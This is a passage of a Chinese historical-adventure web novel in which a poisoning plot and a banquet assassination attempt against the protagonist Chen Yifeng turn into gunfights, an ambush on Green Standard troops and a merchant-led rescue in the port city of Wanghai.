兰姑娘低头剥着虾壳,手上动作熟练,心却乱如麻。她的手微微发抖,眼神不住地瞟向怀中的毒药。 “这汤要是下了毒...”她的心跳得厉害,“可要是不下...” “兰姑娘,听说有新炖的鸡汤?给我来两碗呗,要加酸笋和鸡皮的。” 突如其来的声音吓得兰姑娘一激灵,手一抖,整包毒药洒进了面前的汤锅。她惊恐地看着那些白色粉末在汤里迅速溶解,消失不见。 “琥...琥珀姑娘...”兰姑娘强作镇定,额头已经渗出冷汗,“鸡汤刚送去前院了。” “哟,这不是翡翠虾丸汤吗?闻着真香,我先尝尝。”琥珀眼睛一亮,伸手就要去端汤勺。 “不行!”兰姑娘慌忙挡在前面,“川儿吩咐的,谁都不能动。” 琥珀无奈:“行吧”瞥了一眼汤,直吞口水“那等会我来帮你送过去” 当装着翡翠虾丸汤的碗出了厨房众人视线,琥珀已经迫不及待地尝了几口。 没想到刚走几步,琥珀突然感到腹部剧痛。她捂着肚子倒在地上,冷汗直流。剧烈的疼痛让她蜷缩成一团,想喊却喊不出声。 等川儿找到她时,琥珀已经血流不止,人事不省。 “快!快去请大夫!”川儿惊慌失措地喊道…… 陈逸风站在院中,怒火在胸腔里翻腾。前院刚开完会议,后院就爆发了这样一桩投毒案来。 “把兰姑娘给我带过来!”他的声音里带着不容置疑的威严。 孙忠义早有准备,立刻将被捆绑的兰姑娘押到院中。那女人蓬头垢面,衣衫不整,像是失了魂魄一般,还未动刑就已经泣不成声。她的手腕被麻绳勒出了深深的红痕,浑身抖如筛糠。 “大人饶命...我什么都说...”兰姑娘跪在地上,泪水顺着脸颊滑落,在地上洇出一片水渍。 “说吧。”陈逸风冷冷地看着她。 兰姑娘抽泣着,断断续续地讲述起来。她从小生在贫苦人家,十五岁时被卖进青楼。在那里,她遇到了慕四郎。起初,慕四对她百般照顾,给她赎身,还为她在城外置办了一处小院。 “可是后来...后来...”兰姑娘的声音哽咽,“他开始让我打探消息,还给了我一些药粉...” “什么药粉?”陈逸风眯起眼睛。 “他说...说是让人不能生育的药...”兰姑娘颤抖着说,“让我找机会下在梁小姐的饮食里...” 院子里一片哗然。几个丫鬟捂着嘴,眼中满是惊恐。 “今早王四莲突然来找我,”兰姑娘继续说道,“威胁我如果不按计划行事,就要杀了我的丈夫和孩子...” 陈逸风挥了挥手,示意手下将人带走。谁知那些护卫竟要往外宅拖。 “混账东西!”陈逸风猛地站起身,眼中闪过一丝寒芒,“谁让你们往外拖的?把她关进马棚,顺便把她男人孩子也一并带来关着。” 几个护卫吓得连连点头,赶紧改变方向。就在这时,几位大夫从内室走了出来。他们的表情凝重,额头上都渗出了汗珠。 老大夫走上前来,欲言又止。陈逸风心头一紧,“琥珀怎么样?” “这位姑娘虽然性命无忧,但...”老大夫叹了口气,“恐怕此生难有子嗣了...” 此言一出,屋内响起一片压抑的抽泣声。对这个时代的女子而言,不能生育无异于判了死刑。琥珀更是当场昏厥过去,丫鬟们手忙脚乱地照料着。 “真的一点办法都没有吗?”陈逸风的声音里带着一丝不易察觉的颤抖。 “只能靠调养,或许十年八载后会有转机...”大夫摇着头说。 陈逸风深吸一口气,目光扫过屋内众人:“琥珀的病我养了。只要我在一天,就会照顾她一辈子。但今天的事情也给了我警醒,我给你们一次自首的机会。这个月内,但凡有什么秘密,都可以向我坦白,我可以既往不咎。若是让我查出来...” 话音未落,孟明蛇推门而入,手中拿着一封密信。信纸上的字迹潦草,显然是匆忙之间写就。 第一百一十九章 生死一线 陈逸风快速浏览完内容,嘴角勾起一抹冷笑:“有意思,我刚想装孙子,就有人想当爷爷了。” 正说着,诸葛林匆匆赶来:“大人,慕四跑了,不过他的手下都被我们抓住了。” 院中跪着一群从九门城来的狗腿子,见到陈逸风纷纷叫喊求饶。他们的衣衫褴褛,脸上带着惊恐的神色。 众人被押解下去,孟明蛇上前问道:“要不要去追慕四?” “不必了。”陈逸风摆摆手,“他儿孙都在我手上,翻不出什么浪来。眼下我们的对手换了人。” 此时的慕四已经坐上了西去的漕船。船舱里阴暗潮湿,他蜷缩在角落,回想着早上的情景。他去过兰姑娘家,看到王四莲从里面走出来时,就知道大事不妙。他什么都没带,直接逃往京城,打算装病躲起来。 而在望海城内,王四莲正在密谋着对付陈逸风。他的宅院深处,几个心腹围坐在一起,商议着明日的行动计划。 “都安排好了吗?”王四莲压低声音问道。 “放心吧,大人。”一个手下答道,“已经安排人手潜入承禄府,绿营那边也打点妥当了。” 王四莲满意地点点头。他的计划很简单:明日让沈明泰设宴请陈逸风,埋伏高手装作家丁,等他摔杯为号就动手,将陈逸风乱刀砍死。至于罪证,死人是没法辩解的。 望海城的气氛变得诡异起来。街上行人匆匆,商铺提前关门。商人们都察觉到了不对劲,纷纷去找梁镳打探消息。 可梁镳此时正被他哥哥梁儒纠缠着。梁府的书房里,兄弟二人相对而坐。 “兄弟啊,”梁儒端起茶杯,语气意味深长,“那陈逸风活不了几天了,你可要想清楚。现在回归家族还能算你一个功臣,过几天可就没这么好的条件了。” 梁镳眉头微皱,从兄长的话中听出了不寻常。等梁儒走后,他连忙赶往秘密仓库找陈逸风,却被眼前的景象吓了一跳。 仓库里,两百名身着云锦袍的战士笔直站立,手中洋枪的刺刀在昏暗中闪烁着寒光。空气中弥漫着一股火药和机油混合的气味,沉重的呼吸声此起彼伏。 陈逸风站在木箱上,目光扫过这些光头小伙子们。他们眼中的狂热让他想起了澜江港的血战。那一夜,海浪拍打着礁石,硝烟弥漫在空气中,战友们的呐喊声与枪炮声交织在一起。 “兄弟们还记得那霸港的日本暴徒吗?”陈逸风的声音低沉有力,“他们屠杀我们的同胞,掠夺我们的生计,轻贱我们的姐妹。那时我们只有十个小小的军阵,在敌人的重围中苦苦支撑。” 台下的战士们握紧了手中的枪,眼中闪过愤怒的火光。有人的手在微微颤抖,有人咬紧了牙关,还有人低声咒骂。那一夜的记忆如同潮水般涌来,每个人都记得战友倒下时的惨叫,记得敌人狰狞的面孔。 “可我们熬到了最后!”陈逸风的声音突然提高,“面对数倍的敌人,我辈岂会畏惧,而是逆流而上。就像礁石击碎浪涛,我们粉碎了一切阻挡!” 仓库里的空气仿佛凝固了,每个人都屏住呼吸,注视着站在木箱上的陈逸风。 陈逸风环视四周,目光在每个战士脸上停留。这些人,都是经历过生死的兄弟。他们的眼神坚定,身姿挺拔,仿佛一把把出鞘的利剑。 “现在,我们又要面对新的挑战。”陈逸风的声音突然低沉,带着一丝沉重,“没有援军的我们,将要面对十倍、二十倍的敌人。对不起了,兄弟们,恐怕有人想挑起战火。” 台下的战士们激动得浑身颤抖,有人忍不住要高呼,却被军官们及时制止。空气中弥漫着一股难以抑制的躁动,每个人的胸膛都在剧烈起伏。 “噤声!”瑾周信和诸葛林两位连长厉声喝道,“都忘了潜伏训练了?一人五十个俯卧撑!” 战士们立刻安静下来,但眼中的火焰却更加炽热。 两位连长大步走到陈逸风面前,挺直腰杆。他们的军靴在木地板上发出沉重的响声,背后的刺刀在昏暗的灯光下闪烁着寒芒。 “请先生放心,”瑾周信沉声道,“我们就是钉在大清土地上的钉子。就算翻十倍也无所谓?百倍又怎样?我们必将为您撞碎一切阻碍!” 诸葛林也上前一步:“弟兄们都准备好了,只等先生一声令下。” 梁镳站在一旁,看着这热血沸腾的场面,所有劝阻的话都咽了回去。他的目光扫过仓库里的每一个角落,心中涌起一阵苦涩。短短几个月,望海又要血流成河了。 “陈先生,”梁镳压低声音说,脸上的皱纹在昏暗的灯光下显得更深,“我兄长刚来找过我,明日的宴会必是鸿门宴。要不...我们别去了?” 陈逸风自从发现那些畜生对自己的女人下毒,他就彻底看清了这个社会的真面目。那些被奴化的寄生虫,比统治者更可怕。 梁镳见陈逸风不语,又道:“老朽虽帮不上什么,但钱财方面一定全力支持。现在青云峰上已有十座银炉,口外也有六座,每月铸造的银元不下百万枚...” 陈逸风摆摆手,打断了梁镳的话。这些虎贲战士不是为钱聚集的,他们是经历过望海血火洗礼的精锐。他们已经明白什么是民族的力量,什么是中华的复兴。 与此同时,望海城内的绿营大营中,一场暗流涌动的密谈正在进行。 王四莲手持秘旨,在各个营房间奔走。他的脸上带着焦急和愤怒,每到一处都要停留许久。夜色渐深,营房里的灯火却始终不灭。 “孙将军,”王四莲坐在一间简陋的营房内,声音低沉而急促,“秘旨您也验看过了。协台营有两千五百兵丁,您能带出多少?” 孙将军坐在对面,面露难色:“大人,这个...这个...” “怎么?难道连您也要推三阻四?”王四莲猛地拍案而起。 孙将军擦了擦额头的汗:“不是属下不愿意,实在是...” 王四莲冷笑一声,转身离开,又赶往下一处营房。 第一百二十章 血战望海城的黎明 “郑将军,”他换了一副语气,“钱鹏一走,您可是资历最老。难道不想更进一步?” 郑将军端起茶碗,手却在微微颤抖:“大人,您也知道,现在营里情况不好...” 王四莲又转向另一位将领:“商将军,钱鹏对您恩重如山,难道不想为他报仇?陈逸风可是你们的死敌啊!” 面对犹豫不决的军官们,王四莲终于怒不可遏:“尔等还配称为朝廷命官否?皇恩浩荡,尔等如此报恩?” 几位偏将面露难色,相互对视了一眼。最后还是郑将军开口:“大人息怒,不是我们不愿效力。自从钱鹏死后,我们就成了无主孤魂。连饷银都断了,弟兄们揭不开锅啊!” “望海暴动死了五百多弟兄,连烧埋银子都没有。天天有家属来哭求,到头来靠我们这群百姓众筹打点...” 王四莲听得火冒三丈,脸色铁青:“够了!守着这么大的码头居然饿肚子,真是丢人!”他从怀中取出一叠银票,重重拍在桌上:“这是五千两,让兄弟们填饱肚子再说。记住,明月商行里金银如山,到时候都是你们的!” 几位偏将目送王四莲离去,面面相觑。营房里的灯光摇曳,映照出他们脸上复杂的表情。 最后郑将军叹了口气,拿起桌上的银票:“管他呢,先买肉给弟兄们吃。临终也要饱餐一顿!” “咱们是皇上的奴才,不从就是叛逆...”商将军苦笑着摇头,“这世间还有天理吗,把人往绝路逼!” 夜色渐深,望海城内外,两股力量都在为即将到来的血战做着准备。空气中弥漫着一股令人窒息的压抑,仿佛暴风雨来临前的宁静。 清晨的阳光洒在望海城的街道上,陈逸风在院中打太极。他的动作舒缓而有力,每一招每一式都蕴含着内劲。孟明蛇在一旁默默跟随,眼神专注。 庭院里的空气清新,带着几分寒意。远处传来海浪的声音,还有码头上工人们此起彼伏的吆喝声。 一名传令兵匆匆跑来,脚步声打破了院中的宁静。他手中捧着几份情报,额头上还带着细密的汗珠。 “先生,”传令兵微微躬身,“汉军绿营今早采购大量物资,生猪五十口,白菜两车,米面若干。” 陈逸风没有停下动作,继续打着太极。传令兵见状,又补充道:“承禄府已开始准备晚宴,望江楼的厨子已进入衙门。虎贲营也已完成准备,装备检查完毕。” 陈逸风挥手示意传令兵稍等,专注地完成最后一套拳法。 “把早饭端到这来。”他接过情报快速浏览,眼神微动,“告诉诸葛林,让羽林军的人赶紧休息,晚上有任务。” 孟明蛇默默地递上毛巾,神色虽如常,但眼底的担忧藏不住。 整个望海城笼罩在一股诡异的氛围中。街上行人匆匆,商铺老板们交头接耳,似乎都在议论着什么。但陈逸风却仿佛毫无察觉,上午在明月商行和洛根、迈克商讨特区事宜,谈笑风生。 “这批货物的价格还能再谈,”洛根推了推眼镜,“但时间不能再拖了。” “放心,”陈逸风端起茶杯,轻轻抿了一口,“一切都在掌控之中。” 下午,他还去澡堂子舒舒服服泡了个澡。热气腾腾的浴室里,他闭目养神,嘴角挂着若有若无的笑意。 傍晚时分,华灯初上。陈逸风换上一身崭新的长衫,带着孟明蛇和梁镳掌柜前往承禄府赴宴。沈明泰找的借口是调解梁镳兄弟的矛盾,倒也说得过去。 “沈大人好啊!”陈逸风笑着打招呼,仿佛真的只是来赴一场普通的晚宴。 沈明泰脸上堆着笑,但眼神中透着焦急。他看了看陈逸风身后寥寥无几的护卫,赶紧低声提醒:“你怎么带这么少人来?如果遇上行刺可怎么办?” “沈大人说笑了不是,”陈逸风拍拍胸脯,一脸无所谓,“咱们这不是来吃饭的吗?带太多人反而不美。” 花房里,梁儒和王四莲早已等候多时。花房中各色鲜花争奇斗艳,空气中弥漫着淡淡的花香。陈逸风却对他们视若无睹,自顾自欣赏起花房中的花卉。 王四莲站在一旁,脸色阴沉如水。他死死盯着陈逸风悠闲自得的样子,手指不自觉地握紧了。 “陈先生,”王四莲终于开口,声音里带着压抑的怒火,“这局只限内部人士,带保镖不太合适吧?” “你算老几?”陈逸风冷笑一声,“轮到你插嘴了吗?” 王四莲双拳紧握,正要发作。孟明蛇眼疾手快,轻轻移动半步,已将其所有进攻路线封死。空气中的剑拔弩张几乎要化为实质。 梁儒见状赶紧打圆场:“看在老朽年纪最长,不如大家坐下喝酒?何必伤了和气?” “梁皇商啊,”陈逸风转过身来,目光如刀,“您这奴才的气派倒是不小。” 众人落座,梁儒开门见山:“两百万银子,六成股份。”梁儒捋着胡须,语气中透着几分笃定,“这买卖,不亏。” 陈逸风端起茶盏,轻轻吹散漂浮的茶叶。茶香在暖房中缓缓弥漫,他的目光落在梁儒身上,嘴角微微上扬。 “梁先生觉得我这明月商行,值这个价?” “山西商号的规模,两三百万资本也就顶天了。”梁儒不以为然地摆了摆手,“我这两百万现银,已经很给面子了。” 陈逸风没有立即回答,而是转头看向一旁的账房先生:“把上个月的账目报一下。” 账房先生恭敬地应了一声,翻开厚厚的账簿:“通天号的牛老板拆兑短期借贷四十万两,英国商船的洋货五十四万两,汪掌柜的猪鬃生意十万两...” 梁儒的表情开始变得僵硬。 “琉球国度支部借贷一百八十万两,美国商船拆兑三十四万两,租用洋船往返望海和望海五万两...” 账房先生的声音依旧平稳,但每一个数字都像重锤般砸在梁儒心上。他的额头开始渗出细密的汗珠,眼中的傲慢被难以置信所取代。 第一百二十一章 火海围困 一旁的王四莲瞪大了眼睛,喉结不停滚动,呼吸明显急促起来。这位紫禁城的侍卫显然没想到,眼前这个看似普通的商号,竟有如此惊人的资金流转。 “胡说八道!”梁儒猛地拍案而起,茶盏被震得跳起,“一个月流水五六百万两?你当我是三岁小孩?” 陈逸风不慌不忙地给自己斟了杯花雕,轻抿一口:“梁先生说得对,上月支出确实不止五百万。具体数目是六百二十万两,全是南洋龙元。” 这句话如同一记重拳,直接击垮了梁儒最后的倨傲。他带来的两百万现银,在这庞大的资金面前,显得如此可笑。 梁镳看着自己的兄长,轻轻叹了口气。 暖房内的气氛突然变得诡异起来。王四莲的眼中闪烁着贪婪的光芒。 “不如交给我吧!”王四莲突然暴起,抓起面前的酒杯就要砸下。 一道身影如鬼魅般闪现,孟明蛇轻松接住了即将砸下的酒杯。“孙管事,换杯酒喝便是,何必动怒?” 这句话反而刺激了王四莲,他变得更加暴躁,抓起梁儒面前的杯子又要砸。两道身影在暖房中穿梭,餐具花盆纷飞,却诡异地没有一件摔碎。 “快躲开!”陈逸风一把拉过沈大人和梁镳,退到墙角。他的另一只手已经握住了雷明顿手枪,随时准备应对突发情况。 梁儒也手脚并用地爬了过来,躲在弟弟身后,脸上的傲慢早已荡然无存,取而代之的是赤裸裸的恐惧。 整整一刻钟,王四莲终于意识到自己奈何不了孟明蛇。 “动手!”他一声令下,猛地撞碎玻璃冲出暖房,“本官是大内护卫,奉旨诛杀陈逸风!” 话音未落,黑衣人从四面八方涌现,后院的焰火腾空而起,向城外的绿营军发出信号。 “放箭!” 破空之声响起,无数弩箭呼啸而至。陈逸风等人迅速退入花房,六名光头护卫已经端起了御风连星枪,枪口对准了外面。 “冲进去!宰了陈逸风!” 枪声大作,火光四射。冲在前面的匪徒瞬间倒下,鲜血在月色下显得格外刺目。其余人被这突如其来的火力吓得四散躲避。 “陈逸风,你不要嚣张!”王四莲躲在门后叫嚣,“乖乖出来,我给你个全尸!” “放屁!”陈逸风怒骂,“你假传圣旨,陛下正盼我发展新城!跟着你干的都是替罪羊!” 回应他的是一阵飞斧,在空中划出道道寒光。 沈明泰被吓得浑身发抖,声音都变了调:“王...王侍卫,我是沈明泰,让我先出去...” 话音未落,一把旋转的飞斧直奔他的脑门。陈逸风眼疾手快,一脚将他踹开,斧子重重砸在墙上,留下深深的痕迹。 “王四莲!你连我都要杀?”沈明泰暴怒,脸色铁青。 “你暗中吃陈逸风的贿赂,给他通风报信,当我是傻子呢?”王四莲的声音中充满讥讽,“今天,一个都别想活!” 沈明泰咬牙切齿:“好!弟兄们听令,给我清除这群冒牌货!” 然而,预想中的援兵并未出现。暖房外一片寂静,只有零星的枪声回荡。 “人呢?我的人都哪去了?”沈明泰慌了,额头上的冷汗不停滚落。 与此同时,在衙门的厢房内,一名黑衣人正悠闲地坐在火药箱上,手中的火把在黑暗中摇曳。十几名差役被逼在角落,脸上写满恐惧。 “笑一个!”蒙面人挥舞着明火,语气轻佻,“笑得不好看,就炸死你们!” 差役们被逼得呵呵傻笑,脸部肌肉抽搐,眼中满是绝望。 不仅是这间厢房,其他九间藏兵的厢房同样被死士控制。陈逸风原本布置的后手,在这一刻彻底落空。 “玄童陀,你的身手真是一绝,立刻杀出去报信!”陈逸风的声音在混乱中格外清晰,每个字都仿佛带着千钧之力。 花房内的空气凝滞得令人窒息,火药的焦味与血腥气交织在一起。原本精心布置的花房此刻已是一片狼藉,碎瓷片和木屑铺满地面,几具尸体倒在血泊中。 陈逸风站在房间中央,目光如炬。他身上的长衫已被汗水浸透,但那份从容不迫依然如一根定海神针,稳住了众人的军心。 “先生放心,我这就去!”玄童陀低沉的声音中带着一丝急切。 “等等!”孟明蛇突然抓住玄童陀的手臂,指节因用力而发白,“玄童陀,援兵就靠你了!我留在这里誓要守护先生周全。” 玄童陀转头看向孟明蛇,两人目光交汇的瞬间,无数话语在无声中传递。此刻的玄童陀哪还有半点高僧模样,浑身杀气腾腾,额头青筋暴起。 “开火!”孟明蛇一声怒吼划破紧张的气氛。 六把姆克雷枪同时喷吐火舌,密集的弹雨瞬间压制住了敌人的进攻。枪声在花房内回荡,震得人耳膜生疼。子弹击中墙壁的声音不绝于耳,烟雾弥漫中,敌人的惨叫声此起彼伏。 玄童陀没有选择从正门突围。只见这个铁塔般的壮汉深吸一口气,双臂肌肉隆起,如同一辆失控的战车,直接撞向花房后墙。 轰隆一声巨响,厚实的砖墙竟被生生撞出一个大洞。碎砖乱石四处飞溅,尘土飞扬中,玄童陀的身影已化作一道黑影,向西面疾驰而去。 “撤!花房守不住了,往后院撤!”沈明泰带头钻出缺口,径直冲向后院那座青砖瓦舍。他的声音里带着焦急,但依然保持着应有的冷静。 陈逸风等人且战且退。六把姆克雷加上两支雷明顿手枪的火力,让敌人始终抬不起头。但所有人心里都清楚,子弹终有耗尽的时候。 “废物!你们都是饭桶!给我开火!”王四莲的怒吼声从外面传来,他气得直跳脚,脸上的横肉不停抖动。 一个手下擦着额头的冷汗,小心翼翼地说道:“大人,他们火力太猛,我们已经控制不住局面!大人尽管安心,他们的子弹迟早会打光。” 话音未落,陈逸风一行已经退入内宅最后一栋青砖瓦房。这里已是府衙最深处,北面墙外就是大街。房间内弥漫着一股难言的紧张气氛。 “孟明蛇,这面墙能否强行破开?后面就是...”沈明泰话未说完,外面突然传来一片喧哗。 “将这宅院团团围住!守住后面的街道!别让他们跑了!”王四莲的声音中带着狰狞的快意。在他的指挥下,杂乱的脚步声从四面八方包围过来。 第一百二十二章 破晓前的黑暗时刻 陈逸风他们已经成了瓮中之鳖。 “兄弟们,不用客气,纵火焚烧这帮叛贼!”王四莲眼中闪过残忍的光芒,声音中带着报复的快感。 火把一支接一支被点燃,火光映红了夜空,也映红了每个人的脸。 “我看你敢!”陈逸风猛地推开窗户,冷笑道,“你以为杀了我们就能得到明月商行的财产?做梦!没有我们,你连一分钱都拿不到手!” 王四莲的脸色变了又变,他咬牙切齿地说道:“姓陈的,你敢诈我?” “哈哈,你若有胆量就放马过来!”陈逸风冷笑着,眼神中带着讥讽,“别以为我明月商行有钱就好抢,我坦白跟你说,你要是敢动我一根汗毛,一分钱都拿不到!” 王四莲脸色阴晴不定,最后还是忍住了。他恨恨地说道:“妈的,给我围死他们!等你的私军被老子干掉,看你还能蹦跶多久!” 数十名死士前后包围住房子,手弩、刀剑、洋枪齐齐对准房间,等待最后的命令。空气中弥漫着一触即发的紧张。 陈逸风瘫坐在地,指着沈明泰,语气中带着责备:“你啊你,带的都是什么人?两百多号人,居然全被控制住了,太窝囊了!” 沈明泰羞愧得满脸通红,声音中带着自责:“对不起先生,是小人无能,...” 就在承禄府陷入僵局时,望海城西面的官道两侧,一场更大的杀戮正在酝酿。 陈逸风的新军已经在官道两侧严阵以待。这条官道是绿营进城的必经之路,此时南北两侧已埋伏了两百名新军。每个士兵都紧握着手中的御风连星枪,呼吸平稳而有力。 当城内王四莲的进攻信号在夜空绽放时,吃饱喝足的绿营军终于得到了进攻命令。 “兄弟们,同知大人落入匪徒之手,皇宫侍卫求援,荣华富贵唾手可得,给我冲!”军官的声音在寒风中回荡。 在寒风中等候多时的绿营军们,听到命令后纷纷跳起来,发疯般向前冲锋。 “杀啊!抓贼人!冲进望海城!发财了!”喊杀声此起彼伏,震动夜空。 众兵丁各怀鬼胎,这种混战正是趁火打劫的好机会。只要完成主要任务,他们便能浑水摸鱼大肆劫掠,抄几家商户就够吃一辈子了。 将领胯下骏马沿官道纵横驰骋,马蹄声和喊杀声交织在一起:“这几个月过的什么日子你们都知道,现在机会就在眼前,打赢这一仗,以后就有好日子过了!” “拼了!与其整日清汤寡水,不如拼一把打出个前程来!弟兄们别怕,人挡杀人,佛挡杀佛!”士兵们的呐喊声震天动地。 一千五百多名绿营军带着改变命运的期望,如潮水般向望海城涌去。他们的脚步声震得大地颤抖,扬起的尘土在月光下形成一片迷蒙。 而在官道两侧的树林中,穿着海蓝色呢子军服、外罩保温披风的新军士兵们,早已半跪在地,端起沉重的御风连星枪,摆出雁翅阵型。每个人的呼吸都变得格外轻缓,手指搭在扳机上,等待着致命一击的时机。 这些依然停留在冷兵器时代的绿营军,根本想不到死神之墙就在眼前,一场大屠杀即将开始。月光下,枪管闪烁着冰冷的寒光。 瑾周信和诸葛林几乎同时举起西洋指挥刀,寒光在刀身上流转,散发出凛冽的杀气。两人的目光在空中交汇,默契地点了点头。 两人同时劈下指挥刀,齐声高喊:“水军卫,射击!” 枪火连成一线,如同上帝之鞭抽向敌阵。密集的弹雨撕裂了夜空的宁静,也撕裂了锦衣军们发财致富的美梦。惨叫声、哀嚎声在夜色中此起彼伏,血腥的气息弥漫在寒冷的空气中。 这一夜,注定是个不眠之夜。望海城内外,两场生死较量同时上演,谁也不知道黎明到来时,会是怎样一番景象。 望海城的夜,被一声声枪响撕裂。 最初的枪声从承禄府传来时,街上的百姓还只是驻足张望。但当西方官道上传来密集的枪响时,整个城市瞬间陷入恐慌。街道两旁的油灯在夜风中摇曳,将人们惊恐的面容映照得忽明忽暗。 五年前英法联军攻打大沽口的记忆还历历在目,那时的枪炮声与今夜如出一辙。街道上,男人拖着老人,女人抱着孩子,争先恐后地向城外逃命。有的孩子被吓得大哭,却被母亲紧紧捂住嘴巴。 “快跑啊!洋人又打过来了!”一个中年男子跌跌撞撞地从巷子里冲出来,撞翻了路边的摊贩。 “天啊,这可怎么办!”一位老妇人颤抖着声音,手中的包袱掉在地上都顾不上捡。 混乱中,有人丢下家当,有人拖着箱笼,更有甚者直接空着手就往城外跑。短短片刻,逃亡的人流已经汇成洪流,踩踏声、哭喊声此起彼伏。 街上一片混乱。趁火打劫的混混四处横行,专挑那些手脚不便的老弱下手。大商号纷纷关门闭户,厚重的木门被“砰砰”拍响,却无人应答。洋人们也不敢大意,纷纷派出武装水手保护侨民,一些海船更是直接打开舱门接应本国人撤离。 但在这片混乱中,两个洋人却显得格外醒目。 洛根和迈克,这对充满冒险精神的好友,此刻正全副武装地站在街头。他们身着利落的牛仔装,腰间各插着两把左轮手枪,腰间挂着一圈弹药。洛根背上还背着两把斯宾塞步枪,枪托上的铜饰在灯光下泛着冷光。 “真是疯狂的夜晚。”迈克一边架设三脚架,一边感叹道。他的相机是最新款的柯达,镜头在月光下闪着微光。 “小心点,这里可不是伦敦的摄影棚。”洛根警惕地扫视四周,手指始终没离开扳机。 他们是为《洛根日记》寻找素材而来。在这个动荡的年代,用最先进的相机记录这一切。远处不时传来的枪声让迈克的手有些发抖,但他仍坚持调整着相机角度。 几个不长眼的混混想要打劫这两个洋人,洛根抽出姆克雷对天连开三枪。枪声在街巷间回荡,那帮人吓得屁滚尿流,跌跌撞撞地逃进了黑暗中。 “这些老鼠。”洛根啐了一口,重新装填弹药。 “洛根!快看那边!”迈克突然指着远处的天空,声音里带着一丝颤抖。 第一百二十三章 战云密布的前奏 一朵五彩斑斓的焰火在夜空中绽放,照亮了半边天际。绚丽的光芒映照在两人脸上,却让他们的表情更加凝重。 “是陈逸风的求援信号!”迈克放下相机,“五彩球代表十万火急,他一定遇到大麻烦了。” 此时的陈逸风确实已经陷入绝境。 承禄府内,浓烟滚滚。王四莲这个无耻之徒在上风处点燃柴草,还往火堆里撒辣椒花椒,毒烟呛得屋内众人几乎窒息。烟雾中,不时传来痛苦的咳嗽声。 “都用力扇风!把窗户都砸开!”王四莲在外面大喊,声音里带着得意,“爷要活捉了你们!” 陈逸风和手下们趴在地上,用浸湿的帷帐勉强挡住毒烟。年迈的梁儒已经昏迷不醒,脸色发青,呼吸微弱。梁镳守在兄长身边,眼中含泪,不时用袖子擦拭兄长额头的冷汗。 “大哥,这世道变了,您还是回老家去吧...”梁镳的声音哽咽。 外面传来王四莲嚣张的声音:“陈逸风,你那大宅子里的女眷可护不住了!赶紧投降,否则别怪我心狠手辣!” 陈逸风握紧了拳头,指甲深深陷入掌心。他太过轻敌了,一次望海的胜利,让他忘记了这个腐朽帝国在耍阴招时有多么老辣。烟雾中,他的目光扫过每一个跟随自己的兄弟,心中既愧疚又愤怒。 “放信号!”陈逸风咬牙道,“我倒要看看,这望海城里,到底有没有讲信义的人!” 孟明蛇立刻从窗口射出焰火。五彩的光芒照亮夜空,整个望海城都能看见。烟火的光芒映照在他们疲惫的脸上,带来一丝希望。 王四莲不屑地大笑:“就算你那些新军来了又如何?老子有两千绿营军,就是耗也能耗死你们!” 话音未落,城中突然响起此起彼伏的呐喊。 “救陈先生!” “冲啊!” 一家家商号的大门被推开,手持洋枪的伙计们在掌柜带领下,逆着逃亡的人流,向承禄府涌来。他们的脚步声震动着地面,火把的光芒照亮了黑夜。 这些商人,都记得陈逸风的恩情。夏天暴动后,是他用低息贷款帮他们东山再起。他从不与人争利,只做别人不愿做的生意。这样的恩人,值得他们拼死相救。 “三倍工钱!”戚掌柜高声喊道,声音嘶哑。 “为陈先生拼了!”伙计们齐声应和。 “没有他哪有我们今天!”人群中不断有人呐喊。 数百名持枪伙计包围了衙门。他们手中的虎威火枪虽不及姆克雷,但对付这些死士已经绰绰有余。火光中,枪口闪烁着寒芒。 洛根和迈克默默记录着这一切。在这个动荡的年代,一个外来者竟能赢得如此民心,这本身就是最珍贵的历史见证。 “咔嚓”一声,相机定格了这历史性的一刻。 王四莲脸色铁青,死死盯着眼前的混乱场面,额头上的青筋暴起。他做梦也没想到,那些平日里见了官就点头哈腰的商人,今天竟敢公然袭击朝廷命官。 院墙外传来此起彼伏的喊杀声,火把的光芒映红了半边天。商铺伙计们举着长枪短炮,将整个院子团团围住。 “砰砰砰!” 一连串的枪声在院墙外响起。子弹如雨点般打在墙面上,溅起无数碎屑。几个躲避不及的死士应声倒地,鲜血染红了青石板。 王四莲躲在墙根,心中暗骂自己的疏忽。他太小看这些商人了,以为随便搬出皇上的名头就能唬住他们。现在好了,这些人不但不怕,反而群情激愤。 “你们这群刁民,我可是紫禁城带刀侍卫,奉皇上密令...” 话音未落,又是一轮密集的枪声打断了他的话。几颗子弹擦着他的耳朵飞过,打得墙皮簌簌往下掉。 “放你娘的狗屁!”墙外传来愤怒的吼声,“陛下尚未执掌朝政,哪来的密令?你这骗子!” “打死这个冒充皇差的狗贼!” 人群中不知是谁喊了一声,顿时引来一片附和。商铺伙计们举着火把,将整个院子照得通明。 王四莲气得直跺脚,脸色阴沉得能滴出水来。这些商人比他想象的精明太多,连这种细节都知道。看来今天这事不好收场了。 “等等!我是太后和议政衙门派来的密使,专门查办陈逸风一案...”他试图挽回局面。 “呸!议政衙门管的是洋务,什么时候轮到你插手刑部的事了?”墙外的人嘲讽道,声音里充满了不屑,“眼下陈先生都快成满清贵婿了,太后怎么可能要他的命?” “继续开火!别让这帮人跑了!” 几个商铺伙计壮着胆子往门里冲,手里的洋枪黑洞洞的枪口闪着寒光。守在门内的死士见状,手起刀落,一刀砍断了领头人的腿。 凄厉的惨叫声在夜空中回荡,吓退了其他想要冲进来的人。血腥味在空气中弥漫,让人作呕。 这些商铺伙计终究只是普通百姓,远程开枪还行,真要近身肉搏,哪是训练有素的死士对手。但人多力量大,在戚掌柜的指挥下,数百伙计开始拆房子堆高台。 “拆!给我拆!不管是谁家的房子,老子赔得起!”戚掌柜站在人群中央,声嘶力竭地喊着。他的眼睛通红,额头上青筋暴起,完全不像平日里那个精明的商人。 很快,几条用房梁、木料搭建的简易通道架在了院墙上。伙计们顺着“鱼梁道”爬上墙头,居高临下地向院内射击。 三个制高点形成了交叉火力,死士们被打得抬不起头。大门被撞开,人群如潮水般涌入。院子里顿时乱作一团,到处都是厮杀声和惨叫声。 王四莲且战且退,内心充满了愤怒与不解。南有长毛,北有捻军,海外有洋人,现在连商人都敢造反了,这大清朝还有什么希望? “你们这群贱民,竟敢违抗圣旨!”他一边后退,一边歇斯底里地吼道。 身边的死士架着他往后院撤:“大人快走,前院已经守不住了。那个陈逸风必须除掉!” “好!既然你们找死,那就别怪我心狠手辣了!”王四莲一声令下,眼中闪过一丝疯狂。 坐在火药桶上的死士们纷纷点燃了火把,脸上带着视死如归的表情:“主子,小的这条贱命交还给主子了!” 